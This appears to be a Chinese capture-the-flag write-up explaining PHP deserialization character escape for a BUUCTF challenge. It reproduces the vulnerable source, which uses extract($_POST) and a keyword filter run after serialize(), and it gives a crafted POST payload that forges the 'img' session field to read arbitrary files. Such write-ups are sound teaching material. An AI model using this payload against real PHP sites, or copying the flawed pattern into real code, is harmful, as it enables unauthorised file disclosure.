php 反序列化字符逃逸 1 例

sec

php 反序列化字符逃逸 1 例

当程序在反序列化之前,对反序列化字符串进行了过滤替换,导致键值长度发生变化,但是,键值记录长度未正确修改,在序列化时,错误的引用了键值长度,导致变量被覆盖。

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

BUUCTF在线评测 (buuoj.cn) 安洵杯 2019 easy_serialize_php 1

解的时候,由于直接操作 http 报文,忽略了参数,导致结果一直不对….

解析

看第 35 行注释内容,我们看一下 , 在 phpinfo 中发现一行内容

image-20220804194745150image-20220804194745150

得到了 flag 的位置

代码在 30 行将 _session 序列化,然后再 37 行进行了反序列化给变量 userinfo , 并且输出 userinfo['img'] , 我们只要能够控制 img 的值,就能任意文件读取。控制 img 的值成了关键一步。

第 24 行读取 get 参数,并赋值给 _session , 但是,对于用户输入进行了 sha1 散列运算,导致并无法实际控制最终的 img 的值。

注意到 30 行,进行序列化时,对序列化的结果进行了过滤,查看 filter 实现,只是将关键字删除。这个操作会导致反序列化时,字段记录长度和实际长度不符,导致字符串逃逸。

我们实际控制的输入参数只有 function 和 img ,img 由于 sha1 运算等于不可控。但是,在 18 行有 extract 函数,该函数的作用是 将变量从数组中导入到当前的符号表中。 默认会覆盖变量当前值。

所以,我们可以在 POST 数据中构造数据控制当前的变量值。 根据 extract 所在代码行数来看,此时唯一不可精准控制的变量就是 img 了。不过,对于反序列化字符逃逸,足够了。

构造以下 POST 数据

1
2
3
_SESSION[user]=guestflagflagflagflagphpphp&
function=show_image&
_SESSION[function]=;s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

该数据有三个参数 _SESSION[user]function_SESSION[function],当然,对于 function 参数,也可以直接通过 url 传递。

在 18 行 extract 之后,_SESSION 的值将被覆盖为:

1
2
3
4
array(
'user': 'guestflagflagflagflagphpphp',
'function': ';s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}'
)

function 的值被覆盖为 show_image

_SESSION 反序列化之后为

1
a:3:{s:4:"user";s:27:"guestflagflagflagflagphpphp";s:8:"function";s:73:";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

经过 filter 过滤之后结果为

1
a:3:{s:4:"user";s:27:"guest";s:8:"function";s:73:";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

此时,在反序列化时,user 字段记录长度为 27 , 但实际长度只有 5 了,所以,将往后读多取 22 字符导致错误反序列化。我们构造的 function 字段值成为了整条序列化记录的后半段,而原始的后半段数据将被舍弃。img 的值被反序列化为我们设置的 ZDBnM19mMWFnLnBocA==

payload

POST 数据

1
2
3
_SESSION[user]=guestflagflagflagflagphpphp&
function=show_image&
_SESSION[function]=;s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

image-20220804202609934image-20220804202609934

Author: 哒琳

Permalink: http://blog.jieis.cn/2022/97e8fad6-d531-4a85-9b42-0373014f4713.html

Comments